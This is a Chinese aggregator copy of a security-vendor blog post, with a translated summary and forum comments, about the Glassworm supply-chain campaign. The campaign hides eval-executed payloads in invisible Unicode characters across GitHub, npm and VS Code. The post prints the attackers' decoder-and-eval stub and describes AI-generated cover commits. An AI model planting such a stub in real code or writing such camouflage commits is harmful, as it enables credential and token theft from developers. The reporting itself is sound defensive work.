Glassworm卷土重来:新一轮隐形Unicode攻击席卷代码仓库
Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Repositories

原始链接: https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

## Glassworm再次发起隐形代码攻击 威胁行为者“Glassworm”正在发起新一轮供应链攻击,利用隐藏的Unicode字符来破坏代码仓库。该技术于2025年首次被发现,它将恶意载荷伪装成空字符串注入代码中,从而绕过典型的安全检查。目前,这些攻击正在影响GitHub、npm和VS Code。 2026年3月观察到的最新一波攻击已经破坏了超过151个GitHub仓库——包括Wasmer、Reworm和anomalyco的仓库,实际数量可能更高,因为有仓库已被删除。Glassworm利用逼真、项目特定的代码更改,这些更改很可能由AI生成,以掩盖恶意提交。 注入的代码解码后会执行脚本,这些脚本之前与基于Solana的代币和凭证盗窃有关。开发者不能依赖视觉代码审查来检测这些威胁。Aikido是一家安全公司,提供检测工具——包括免费的恶意软件扫描器和“Safe Chain”——来识别和阻止这些隐形注入,从而避免它们影响开发环境。这凸显了针对日益复杂的供应链攻击,需要积极的、专门的防御措施。

黑客新闻 新的 | 过去的 | 评论 | 提问 | 展示 | 工作 | 提交 登录 Glassworm卷土重来:新一波隐形的Unicode攻击袭击仓库 (aikido.dev) 14点 由 robinhouston 2小时前 | 隐藏 | 过去的 | 收藏 | 3评论 帮助 gnabgib 7分钟前 | 下一个 [–] 昨天有过小讨论 (9+9点, 9+4评论) https://news.ycombinator.com/item?id=47374479 https://news.ycombinator.com/item?id=47385244 回复 DropDead 16分钟前 | 上一个 [–] 为什么没人制定一个av规则来查找这类东西,它们只是纯文本文件 回复 abound 4分钟前 | 父级 [–] 是的,如果能以“并附上一个五行shell脚本来检查你的项目是否可能受到影响”结尾就更好了。但值得称赞的是,他们确实有一个开源工具 [1],我只是不愿意安装一大块JavaScript来查找我其他一大块JavaScript中的漏洞 [1] https://github.com/AikidoSec/safe-chain 回复 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 申请YC | 联系 搜索:
相关文章

原文

The invisible threat we've been tracking for nearly a year is back. While the PolinRider campaign has been making headlines for compromising hundreds of GitHub repositories, we are separately seeing a new wave of Glassworm activity hitting GitHub, npm, and VS Code.

In October last year, we wrote about how hidden Unicode characters were being used to compromise GitHub repositories, tracing the technique back to a threat actor named Glassworm. This month, the same actor is back, and among the affected repositories are some notable names: a repo from Wasmer, Reworm, and opencode-bench from anomalyco, the organization behind OpenCode and SST.

A Year of the Invisible Code Campaign

  • March 2025: Aikido first discovers malicious npm packages hiding payloads using PUA Unicode characters
  • May 2025: We publish a blog detailing the risks of invisible Unicode and how it can be abused in supply chain attacks
  • October 17, 2025: We uncover compromised extensions on Open VSX using the same technique
  • October 31, 2025: We discover that the attackers have shifted focus to GitHub repositories
  • March 2026: A new mass wave emerges: hundreds of GitHub repositories compromised, with npm and VS Code also affected.

A Quick Refresher

Before diving into the scale of this new wave, let’s recap how this attack works. Even after months of coverage, it continues to catch developers and tooling off guard.

The trick relies on invisible Unicode characters: code snippets that are rendered as nothing in virtually every editor, terminal, and code review interface. Attackers use these invisible characters to encode a payload directly inside what appears to be an empty string. When the JavaScript runtime encounters it, a small decoder extracts the real bytes and passes them to eval().

Here's what the injection looks like. Remember, the apparent gap in the empty backticks below is anything but empty:

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

The backtick string passed to s() looks empty in every viewer, but it's packed with invisible characters that, once decoded, produce a full malicious payload. In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.

The Scale of the March 2026 Wave

We are observing a mass campaign by the Glassworm threat actor spreading across open source repositories. A GitHub code search for the decoder pattern currently returns at least 151 matching repositories, and that number understates the true scope, since many affected repositories have already been deleted by the time of writing. The GitHub compromises appear to have taken place between March 3 and March 9.

The campaign has also expanded beyond GitHub. We are now seeing the same technique deployed in npm and the VS Code marketplace, suggesting Glassworm is operating a coordinated, multi-ecosystem push. This is consistent with the group's historical pattern of pivoting between registries.

Package Ecosystem Versions Date
@aifabrix/miso-client npm 4.7.2 Mar 12, 2026
@iflow-mcp/watercrawl-watercrawl-mcp npm 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4 Mar 12, 2026
quartz.quartz-markdown-editor VS Code 0.3.0 Mar 12, 2026

Notable Compromised Repositories on GitHub

Among the repositories we identified, several belong to well-known projects with meaningful star counts, making them high-value targets for downstream supply chain impact:

AI-Assisted Camouflage

As we noted in our October article, the malicious injections don't arrive in obviously suspicious commits. The surrounding changes are realistic: documentation tweaks, version bumps, small refactors, and bug fixes that are stylistically consistent with each target project.

This level of project-specific tailoring strongly suggests the attackers are using large language models to generate convincing cover commits. At the scale we're now seeing, manual crafting of 151+ bespoke code changes across different codebases simply isn't feasible. 

Detection and Protection

Invisible threats require active defenses. You cannot rely on visual code review or standard linting to catch what you cannot see. At Aikido, we've built detection for invisible Unicode injection directly into our malware scanning pipeline.

If you already use Aikido, these packages would be flagged in your feed as a 100/100 critical finding.

Not on Aikido yet? Create a free account and link your repositories. The free plan includes our malware detection coverage (no credit card required).

Finally, a tool that can stop supply-chain malware in real time as they appear can prevent a serious infection. This is the idea behind Aikido Safe Chain, a free and open-source tool that wraps around npm, npx, yarn, pnpm, and pnpx and uses both AI and human malware researchers to detect and block the latest supply chain risks before they enter your environment.

{{cta}}

联系我们 contact @ memedata.com